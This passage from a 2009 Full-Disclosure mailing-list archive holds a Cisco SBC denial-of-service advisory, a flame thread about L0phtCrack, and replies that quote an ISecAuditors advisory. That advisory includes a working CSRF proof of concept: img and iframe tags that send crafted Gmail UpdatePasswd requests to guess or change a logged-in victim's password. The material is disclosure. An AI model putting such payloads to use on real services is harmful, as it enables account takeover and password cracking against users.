with the appropriate course of action in regards to this advisory.

The effectiveness of any workaround or fix is dependent on specific
customer situations, such as product mix, network topology, traffic
behavior, and organizational mission. Due to the variety of affected
products and releases, customers should consult with their service
provider or support organization to ensure any applied workaround or
fix is the most appropriate for use in the intended network before it
is deployed.

Customers without Service Contracts
+----------------------------------

Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: tac at cisco.com

Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.

Refer to http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html 
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various 
languages.

Exploitation and Public Announcements
=====================================

The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerability described in this advisory.

This vulnerability was found during internal testing.

Status of this Notice: FINAL
============================

THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.

A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.

Distribution
============
 
This advisory is posted on Cisco's worldwide website at :

http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml

In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.

  * cust-security-announce at cisco.com
  * first-bulletins at lists.first.org
  * bugtraq at securityfocus.com
  * vulnwatch at vulnwatch.org
  * cisco at spot.colorado.edu
  * cisco-nsp at puck.nether.net
  * full-disclosure at lists.grok.org.uk
  * comp.dcom.sys.cisco at newsgate.cisco.com

Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.

Revision History
================

+---------------------------------------+
| Revision |               | Initial    |
| 1.0      | 2009-March-04 | public     |
|          |               | release    |
+---------------------------------------+

Cisco Security Procedures
=========================

Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at 
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco 
security notices. All Cisco security advisories are available at 
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (Darwin)

iEYEARECAAYFAkmurgEACgkQ86n/Gc8U/uBrwwCfbQxCcSz4S4X3UpH4Mccg0Df1
KMoAn11BqKmRhw5mUuJOl3D/RrVxVrc7
=m2di
-----END PGP SIGNATURE-----



From pschmehl_lists at tx.rr.com  Wed Mar  4 16:55:22 2009
From: pschmehl_lists at tx.rr.com (Paul Schmehl)
Date: Wed, 04 Mar 2009 16:55:22 +0000
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
References: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
	<642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
Message-ID: <0858F2CCCD894C0938992371@utd65257.utdallas.edu>

--On Wednesday, March 04, 2009 02:48:09 -0600 bob jones <bholdaaa at gmail.com> 
wrote:

> just now getting "64 bit support"
>
> as usual l0phtcrack is years behind everyone else but b/c they are huge
> attention whores they get credit for *
>

As opposed to huge attention whores like you, who denigrates researchers with 
regularity while posting nothing of significance to a list viewed by no one of 
importance?  You mean that kind of attention whore?

-- 
Paul Schmehl, Senior Infosec Analyst
As if it wasn't already obvious, my opinions
are my own and not those of my employer.
*******************************************
Check the headers before clicking on Reply.



From Valdis.Kletnieks at vt.edu  Wed Mar  4 17:19:21 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 04 Mar 2009 12:19:21 -0500
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: Your message of "Wed, 04 Mar 2009 02:48:09 CST."
	<642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
References: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
	<642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
Message-ID: <108258.1236187161@turing-police.cc.vt.edu>

On Wed, 04 Mar 2009 02:48:09 CST, bob jones said:

> just now getting "64 bit support"

And adding 64 bit support improves l0phtcrack how? (Consider that it doesn't
significantly add to the number of boxes it will run on, because the vast
majority of target boxes are still 32-bit environments).  Remember that
programmer time is *always* limited, so you *always* have to pick and choose
which features will actually get written in time for the next release.

The improved rainbow tables will probably make a hell of a lot bigger *actual*
difference than the 64-bit support.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/0ede2eea/attachment.bin 

From bobby.mugabe at hushmail.com  Wed Mar  4 18:28:22 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 13:28:22 -0500
Subject: [Full-disclosure] The return of L0phtCrack
Message-ID: <20090304182823.27D991A003F@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Paul,

I believe you have confused the concepts of research vs
development.  There isn't any new research associated with the new
version of l0phtcrack, it is just a more robustly developed piece
of software, that utilizes entirely useless 64bit capabilities.

Thanks,
- -bm

On Wed, 04 Mar 2009 11:55:22 -0500 Paul Schmehl
<pschmehl_lists at tx.rr.com> wrote:
>--On Wednesday, March 04, 2009 02:48:09 -0600 bob jones
><bholdaaa at gmail.com>
>wrote:
>
>> just now getting "64 bit support"
>>
>> as usual l0phtcrack is years behind everyone else but b/c they
>are huge
>> attention whores they get credit for *
>>
>
>As opposed to huge attention whores like you, who denigrates
>researchers with
>regularity while posting nothing of significance to a list viewed
>by no one of
>importance?  You mean that kind of attention whore?
>
>--
>Paul Schmehl, Senior Infosec Analyst
>As if it wasn't already obvious, my opinions
>are my own and not those of my employer.
>*******************************************
>Check the headers before clicking on Reply.
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmux+IACgkQhNp8gzZx3siWjQP+PXC6+k53T10euFLLWYs4wDWI7PN1
wAzF/hbczgoUiFDlVrtNr52WNAJq5eFcoHc13dGWqtbQkPO8JBgZwO1S9Nk6x0mG5Sf+
QJ2q61FzP8DBHAchM/Kaf/M+dDBywjZ0AeDlQ00IkcyO9ByBuJpEDEqTKM4Qlk/aHB+C
5v/6XcU=
=+zet
-----END PGP SIGNATURE-----

--
Become a medical transcriptionist at home, at your own pace.
 http://tagline.hushmail.com/fc/BLSrjkqfMmey6XaAMb1HNIlOlOB2w0d6wAcoObcr0itcC3nEfVrFpwavyV6/



From bobby.mugabe at hushmail.com  Wed Mar  4 18:37:20 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 13:37:20 -0500
Subject: [Full-disclosure] The return of L0phtCrack
Message-ID: <20090304183720.CE7BB1A003F@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Valdis,

I fully understand and agree with you that any sort of so-called
"64-bit support" for a computer code crypto hacking program is
entirely useless, however I am sure that the rest of this list
would like to hear your expert analysis and explanation on this
topic.

Thanks,
- -bm

On Wed, 04 Mar 2009 12:19:21 -0500 Valdis.Kletnieks at vt.edu wrote:
>On Wed, 04 Mar 2009 02:48:09 CST, bob jones said:
>
>> just now getting "64 bit support"
>
>And adding 64 bit support improves l0phtcrack how? (Consider that
>it doesn't
>significantly add to the number of boxes it will run on, because
>the vast
>majority of target boxes are still 32-bit environments).  Remember
>that
>programmer time is *always* limited, so you *always* have to pick
>and choose
>which features will actually get written in time for the next
>release.
>
>The improved rainbow tables will probably make a hell of a lot
>bigger *actual*
>difference than the 64-bit support.
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmuyf0ACgkQhNp8gzZx3si9+wP+MaeVZQ4+vYRMAV8p9oO645uusuq4
iIWrGxOmRavrhfTx7EAeMDljh9btjhxJG6vb70mfvJl22ZceNld+AjFBxIcmxHFod2Fm
JNpXBZhC3r+j1h3XhQQwA5sAF6lskY3Gx9dMpWKIFzVqLISrlPfVnkqvDw0RdKv6wSTb
k0AqOP4=
=m8fF
-----END PGP SIGNATURE-----

--
Looking for window replacement tips and products? Click now.
 http://tagline.hushmail.com/fc/BLSrjkqfaqW5fztCnEqm6N49yfP0ynBkzP5WJ5fOTjpZwUO9V0DybqYGRYc/



From biz.marqee at gmail.com  Tue Mar  3 23:28:30 2009
From: biz.marqee at gmail.com (Biz Marqee)
Date: Wed, 4 Mar 2009 10:28:30 +1100
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>

This was 2 years well spent... NOT!

Seriously what is with all these people popping up releasing advisories that
are absolute SHIT? Is it to try and get jobs or what?


On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
advisories at isecauditors.com> wrote:

> =============================================
> INTERNET SECURITY AUDITORS ALERT 2007-003
> - Original release date: August 1st, 2007
> - Last revised: January 11th, 2009
> - Discovered by: Vicente Aguilera Diaz
> - Severity: 3/5
> =============================================
>
> I. VULNERABILITY
> -------------------------
> CSRF vulnerability in GMail service
>
> II. BACKGROUND
> -------------------------
> Gmail is Google's free webmail service. It comes with built-in Google
> search technology and over 2,600 megabytes of storage (and growing
> every day). You can keep all your important messages, files and
> pictures forever, use search to quickly and easily find anything
> you're looking for, and make sense of it all with a new way of viewing
> messages as part of conversations.
>
> III. DESCRIPTION
> -------------------------
> Cross-Site Request Forgery, also known as one click attack or session
> riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
> malicious exploit of websites. Although this type of attack has
> similarities to cross-site scripting (XSS), cross-site scripting
> requires the attacker to inject unauthorized code into a website,
> while cross-site request forgery merely transmits unauthorized
> commands from a user the website trusts.
>
> GMail is vulnerable to CSRF attacks in the "Change Password"
> functionality. The only token for authenticate the user is a session
> cookie, and this cookie is sent automatically by the browser in every
> request.
>
> An attacker can create a page that includes requests to the "Change
> password" functionality of GMail and modify the passwords of the users
> who, being authenticated, visit the page of the attacker.
>
> The attack is facilitated since the "Change Password" request can be
> realized across the HTTP GET method instead of the POST method that is
> realized habitually across the "Change Password" form.
>
> IV. PROOF OF CONCEPT
> -------------------------
> 1. An attacker create a web page "csrf-attack.html" that realize many
> HTTP GET requests to the "Change Password" functionality.
>
> For example, a password cracking of 3 attempts (see "OldPasswd"
> parameter):
> ...
> <img
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
> or with hidden frames:
> ...
> <iframe
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
>
https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
> The attacker can use deliberately a weak new password (see "Passwd"
> and "PasswdAgain" parameters), this way he can know if the analysed
> password is correct without need to modify the password of the victim
> user.
>
> Using weak passwords the "Change Password" response is:
>  - " The password you gave is incorrect. ", if the analysed password
> is not correct.
>  - " We're sorry, but you've selected an insecure password. In order
> to protect the security of your account, please click "Password
> Strength" to get tips on choosing to safer password. ", if the
> analysed password is correct and the victim password is not modified.
>
> If the attacker want to modify the password of the victim user, the
> waited response message is: " Your new password has been saved - OK ".
>
> In any case, the attacker evades the restrictions imposed by the
> captcha of the authentication form.
>
> 2. A user authenticated in GMail visit the "csrf-attack.html" page
> controlled by the attacker.
>
> For example, the attacker sends a mail to the victim (a GMail account)
> and provokes that the victim visits his page (social engineering). So,
> the attacker insures himself that the victim is authenticated.
>
> 3. The password cracking is executed transparently to the victim.
>
> V. BUSINESS IMPACT
> -------------------------
> - Selective DoS on users of the GMail service (changing user password).
> - Possible access to the mail of other GMail users.
>
> VI. SYSTEMS AFFECTED
> -------------------------
> Gmail service.
>
> VII. SOLUTION
> -------------------------
> No solution provided by vendor.
>
> VIII. REFERENCES
> -------------------------
> http://www.gmail.com
>
> IX. CREDITS
> -------------------------
> This vulnerability has been discovered and reported by
> Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>
> X. REVISION HISTORY
> -------------------------
> July      31, 2007: Initial release
> August     1, 2007: Fewer corrections.
> December  30, 2008: Last details.
>
> XI. DISCLOSURE TIMELINE
> -------------------------
> July      30, 2007: Vulnerability acquired by
>                    Internet Security Auditors.
> August     1, 2007: Initial notification sent to the
>                    Google security team.
> August     1, 2007: Google security team request additional
>                    information.
>                    about and start review the vulnerability.
> August    13, 2007: Request information about the status.
> August    15, 2007: Google security team responds that they are still
>                    working on this.
> September 19, 2007: Request for the status. No response.
> November  26, 2007: Request for the status. No response.
> January    2, 2008: Request for the status. No response.
> January    4, 2008: Request for the status. No response.
> January   11, 2008: Request for the status. No response.
> January   15, 2008: Request for the status. Automated response.
> January   18, 2008: Google security team informs that don't expect
>                    behaviour to change in the short term giving
>                    the justification.
>                    We deconstruct those arguments as insufficient.
>                    No more responses.
> December  30, 2008: Request for the status. Confirmation from Google
>                    they won't change the consideration about this.
> January   11, 2009: Publication to Bugtraq. Rejected twice.
>                    No reasons.
> March     03, 2009: General publication for disclosure in other lists.
>
> XII. LEGAL NOTICES
> -------------------------
> The information contained within this advisory is supplied "as-is"
> with no warranties or guarantees of fitness of use or otherwise.
> Internet Security Auditors accepts no responsibility for any damage
> caused by the use or misuse of this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/b47b552b/attachment.html 

From jstarks440 at gmail.com  Wed Mar  4 18:55:16 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Wed, 4 Mar 2009 13:55:16 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
References: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
Message-ID: <e1b25fd0903041055v2671790ctb281b8fab4c443e7@mail.gmail.com>

I know, its insane. It is a new trend, though, just like people registering
gmail accounts just to flame and troll on FD!

Its like, your credability like, goes like, ok you start like at 0, and then
like, it goes like to -1, and like, then even lower like.

Absolutely genius.

x0x0x0x0x0x0x0x0x0x

On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee <biz.marqee at gmail.com> wrote:

> This was 2 years well spent... NOT!
>
> Seriously what is with all these people popping up releasing advisories
> that are absolute SHIT? Is it to try and get jobs or what?
>
>
> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
> advisories at isecauditors.com> wrote:
>
> > =============================================
> > INTERNET SECURITY AUDITORS ALERT 2007-003
> > - Original release date: August 1st, 2007
> > - Last revised: January 11th, 2009
> > - Discovered by: Vicente Aguilera Diaz
> > - Severity: 3/5
> > =============================================
> >
> > I. VULNERABILITY
> > -------------------------
> > CSRF vulnerability in GMail service
> >
> > II. BACKGROUND
> > -------------------------
> > Gmail is Google's free webmail service. It comes with built-in Google
> > search technology and over 2,600 megabytes of storage (and growing
> > every day). You can keep all your important messages, files and
> > pictures forever, use search to quickly and easily find anything
> > you're looking for, and make sense of it all with a new way of viewing
> > messages as part of conversations.
> >
> > III. DESCRIPTION
> > -------------------------
> > Cross-Site Request Forgery, also known as one click attack or session
> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
> > malicious exploit of websites. Although this type of attack has
> > similarities to cross-site scripting (XSS), cross-site scripting
> > requires the attacker to inject unauthorized code into a website,
> > while cross-site request forgery merely transmits unauthorized
> > commands from a user the website trusts.
> >
> > GMail is vulnerable to CSRF attacks in the "Change Password"
> > functionality. The only token for authenticate the user is a session
> > cookie, and this cookie is sent automatically by the browser in every
> > request.
> >
> > An attacker can create a page that includes requests to the "Change
> > password" functionality of GMail and modify the passwords of the users
> > who, being authenticated, visit the page of the attacker.
> >
> > The attack is facilitated since the "Change Password" request can be
> > realized across the HTTP GET method instead of the POST method that is
> > realized habitually across the "Change Password" form.
> >
> > IV. PROOF OF CONCEPT
> > -------------------------
> > 1. An attacker create a web page "csrf-attack.html" that realize many
> > HTTP GET requests to the "Change Password" functionality.
> >
> > For example, a password cracking of 3 attempts (see "OldPasswd"
> > parameter):
> > ...
> > <img
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > <img
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > <img
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > ...
> >
> > or with hidden frames:
> > ...
> > <iframe
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > <iframe
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > <iframe
> > src="
> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> > ">
> > ...
> >
> > The attacker can use deliberately a weak new password (see "Passwd"
> > and "PasswdAgain" parameters), this way he can know if the analysed
> > password is correct without need to modify the password of the victim
> > user.
> >
> > Using weak passwords the "Change Password" response is:
> >  - " The password you gave is incorrect. ", if the analysed password
> > is not correct.
> >  - " We're sorry, but you've selected an insecure password. In order
> > to protect the security of your account, please click "Password
> > Strength" to get tips on choosing to safer password. ", if the
> > analysed password is correct and the victim password is not modified.
> >
> > If the attacker want to modify the password of the victim user, the
> > waited response message is: " Your new password has been saved - OK ".
> >
> > In any case, the attacker evades the restrictions imposed by the
> > captcha of the authentication form.
> >
> > 2. A user authenticated in GMail visit the "csrf-attack.html" page
> > controlled by the attacker.
> >
> > For example, the attacker sends a mail to the victim (a GMail account)
> > and provokes that the victim visits his page (social engineering). So,
> > the attacker insures himself that the victim is authenticated.
> >
> > 3. The password cracking is executed transparently to the victim.
> >
> > V. BUSINESS IMPACT
> > -------------------------
> > - Selective DoS on users of the GMail service (changing user password).
> > - Possible access to the mail of other GMail users.
> >
> > VI. SYSTEMS AFFECTED
> > -------------------------
> > Gmail service.
> >
> > VII. SOLUTION
> > -------------------------
> > No solution provided by vendor.
> >
> > VIII. REFERENCES
> > -------------------------
> > http://www.gmail.com
> >
> > IX. CREDITS
> > -------------------------
> > This vulnerability has been discovered and reported by
> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
> >
> > X. REVISION HISTORY
> > -------------------------
> > July      31, 2007: Initial release
> > August     1, 2007: Fewer corrections.
> > December  30, 2008: Last details.
> >
> > XI. DISCLOSURE TIMELINE
> > -------------------------
> > July      30, 2007: Vulnerability acquired by
> >                    Internet Security Auditors.
> > August     1, 2007: Initial notification sent to the
> >                    Google security team.
> > August     1, 2007: Google security team request additional
> >                    information.
> >                    about and start review the vulnerability.
> > August    13, 2007: Request information about the status.
> > August    15, 2007: Google security team responds that they are still
> >                    working on this.
> > September 19, 2007: Request for the status. No response.
> > November  26, 2007: Request for the status. No response.
> > January    2, 2008: Request for the status. No response.
> > January    4, 2008: Request for the status. No response.
> > January   11, 2008: Request for the status. No response.
> > January   15, 2008: Request for the status. Automated response.
> > January   18, 2008: Google security team informs that don't expect
> >                    behaviour to change in the short term giving
> >                    the justification.
> >                    We deconstruct those arguments as insufficient.
> >                    No more responses.
> > December  30, 2008: Request for the status. Confirmation from Google
> >                    they won't change the consideration about this.
> > January   11, 2009: Publication to Bugtraq. Rejected twice.
> >                    No reasons.
> > March     03, 2009: General publication for disclosure in other lists.
> >
> > XII. LEGAL NOTICES
> > -------------------------
> > The information contained within this advisory is supplied "as-is"
> > with no warranties or guarantees of fitness of use or otherwise.
> > Internet Security Auditors accepts no responsibility for any damage
> > caused by the use or misuse of this information.
>
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/2d3416b3/attachment.html 

From jstarks440 at gmail.com  Wed Mar  4 18:56:07 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Wed, 4 Mar 2009 13:56:07 -0500
Subject: [Full-disclosure] Cisco Security Advisory: Cisco 7600 Series
	Router Session Border Controller Denial of Service Vulnerability
In-Reply-To: <200903041732.sbc@psirt.cisco.com>
References: <200903041732.sbc@psirt.cisco.com>
Message-ID: <e1b25fd0903041056n21cc1a0cy516b9ad61034edaa@mail.gmail.com>

That is why the world should use Linksys.

On Wed, Mar 4, 2009 at 11:30 AM, Cisco Systems Product Security Incident
Response Team <psirt at cisco.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Cisco Security Advisory: Cisco 7600 Series Router Session Border
>                         Controller Denial of Service Vulnerability
>
> Document ID: 109483
>
> Advisory ID: cisco-sa-20090304-sbc
>
> http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml
>
> Revision 1.0
>
> For Public Release 2009 March 4 1600 UTC (GMT)
>
> - ---------------------------------------------------------------------
>
> Summary
> =======
>
> A denial of service (DoS) vulnerability exists in the Cisco Session
> Border Controller (SBC) for the Cisco 7600 series routers. Cisco has
> released free software updates that address this vulnerability.
> Workarounds that mitigate this vulnerability are available.
>
> This advisory is posted at
> http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml
>
> Affected Products
> =================
>
> Vulnerable Products
> +------------------
>
> All Cisco ACE-based SBC modules running software versions prior to
> 3.0(2) are affected.
>
> To determine the version of the Cisco SBC software running on a
> system, log in to the device and issue the show version command to
> display the system banner.
>
>    card_A/Admin# show version
>      system image file: [LCP] disk0:c76-sbck9-mzg.3.0.1_AS3_0_00.bin
>    <output truncated>
>
>
> Cisco SBC software version 3.0.1 is running in the device used in
> this example.
>
> Products Confirmed Not Vulnerable
> +--------------------------------
>
> The Cisco XR 12000 Series SBC is not vulnerable. Additionally, the
> Cisco ACE Module, Cisco ACE 4710 Application Control Engine, Cisco
> ACE XML Gateway, Cisco ACE Web Application Firewall, and the Cisco
> ACE GSS (Global Site Selector) 4400 Series are not affected by this
> vulnerability. No other Cisco products are currently known to be
> affected by this vulnerability.
>
> Details
> =======
>
> The Session Border Controller (SBC) enables direct IP-to-IP
> interconnect between multiple administrative domains for
> session-based services providing protocol interworking, security, and
> admission control and management. The SBC is a multimedia device that
> sits on the border of a network and controls call admission to that
> network. A vulnerability exists in the Cisco SBC where an
> unauthenticated attacker may cause the Cisco SBC card to reload by
> sending crafted TCP packets over port 2000. Repeated exploitation
> could result in a sustained DoS condition.
>
> Note: Only the Cisco SBC module reloads after successful
> exploitation. The Cisco 7600 series router does not reload and it is
> not affected by this vulnerability.
>
> Note: TCP port 2000 is typically used by Skinny Call Control Protocol
> (SCCP) applications. However, the Cisco SBC module uses TCP port 2000
> for high availability (redundancy) communication, but does not use
> the SCCP for this purpose.
>
> This vulnerability is documented in Cisco Bug IDs CSCsq18958 (
> registered customers only) ; and has been assigned the Common
> Vulnerability and Exposures (CVE) IDs CVE-2009-0619.
>
> Vulnerability Scoring Details
> =============================
>
> Cisco has provided scores for the vulnerability in this advisory
> based on the Common Vulnerability Scoring System (CVSS). The CVSS
> scoring in this Security Advisory is done in accordance with CVSS
> version 2.0.
>
> CVSS is a standards-based scoring method that conveys vulnerability
> severity and helps determine urgency and priority of response.
>
> Cisco has provided a base and temporal score. Customers can then
> compute environmental scores to assist in determining the impact of
> the vulnerability in individual networks.
>
> Cisco has provided an FAQ to answer additional questions regarding
> CVSS at
>
> http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
>
> Cisco has also provided a CVSS calculator to help compute the
> environmental impact for individual networks at
>
> http://intellishield.cisco.com/security/alertmanager/cvss
>
> CVSS Base Score - 7.8
>
> Access Vector           - Network
> Access Complexity       - Low
> Authentication          - None
> Confidentiality Impact  - None
> Integrity Impact        - None
> Availability Impact     - Complete
>
> CVSS Temporal Score - 6.4
>
> Exploitability          - Functional
> Remediation Level       - Official-Fix
> Report Confidence       - Confirmed
>
> Impact
> ======
>
> Successful exploitation of the vulnerability may cause a reload of
> the affected device. Repeated exploitation could result in a
> sustained DoS condition.
>
> Software Versions and Fixes
> ===========================
>
> This vulnerability has been corrected in Cisco SBC software release
> 3.0(2).
>
> Cisco SBC software can be downloaded from:
>
> http://www.cisco.com/pcgi-bin/tablebuild.pl/sbc-7600-crypto
>
> When considering software upgrades, also consult
> http://www.cisco.com/go/psirt and any subsequent advisories to
> determine exposure and a complete upgrade solution.
>
> In all cases, customers should exercise caution to be certain the
> devices to be upgraded contain sufficient memory and that current
> hardware and software configurations will continue to be supported
> properly by the new release. If the information is not clear, contact
> the Cisco Technical Assistance Center (TAC) or your contracted
> maintenance provider for assistance.
>
> Workarounds
> ===========
>
> As a workaround, configure an access control list (ACL) in the
> signaling / media VLAN on the Route Processor (RP). The following
> examples show how VLAN 140 is configured as the signaling / media
> VLAN. A separate VLAN (VLAN 77) is configured as Fault Tolerance
> (FT). An ACL is added to the signaling/media VLAN on the RP filtering
> all TCP port 2000 packets to the alias IP address.
>
> Cisco SBC configuration
>
>    interface vlan 140
>      ip address 10.140.1.90 255.255.255.0
>      alias 10.140.1.100 255.255.255.0
>      peer ip address 10.140.1.8 255.255.255.0
>    !
>    ft interface vlan 77
>      ip address 192.168.1.1 255.255.255.0
>      peer ip address 192.168.1. 255.255.255.0
>
>
> RP Configuration
>
>    !- ACL blocking all TCP port 2000 traffic to the 10.140.1.0 internal
> network
>    !
>    access-list 100 deny   tcp any host 10.140.1.100 eq 2000
>    access-list 100 permit ip any any
>    !
>    interface Vlan140
>     ip address 10.140.1.1 255.255.255.0
>    !- ACL is applied to the VLAN interface to egress traffic
>      ip access-group 100 out
>    !
>
> The alias command under VLAN 140 is configured with an IP address
> that floats between active and standby modules when using high
> availability. Only TCP port 2000 traffic destined to this IP address
> may trigger this vulnerability. An access control list (ACL) is
> configured to deny TCP port 2000 destined to the alias IP address
> (10.140.1.100). The ACL is applied egress in the RP.
>
> Note: TCP port 2000 is used by Skinny Call Control Protocol (SCCP)
> applications; however, in this case it is used by the SBC for
> internal communications. The previous ACL only blocks TCP port 2000
> traffic to the alias IP address. TCP port 2000 is not used by the
> alias IP address. This ACL should not cause any collateral damage.
>
> Additional mitigations that can be deployed on Cisco devices within
> the network are available in the Cisco Applied Intelligence companion
> document for this Advisory:
>
> http://www.cisco.com/warp/public/707/cisco-amb-20090304-sbc.shtml
>
> Obtaining Fixed Software
> ========================
>
> Cisco has released free software updates that address this
> vulnerability. Prior to deploying software, customers should consult
> their maintenance provider or check the software for feature set
> compatibility and known issues specific to their environment.
>
> Customers may only install and expect support for the feature sets
> they have purchased. By installing, downloading, accessing or
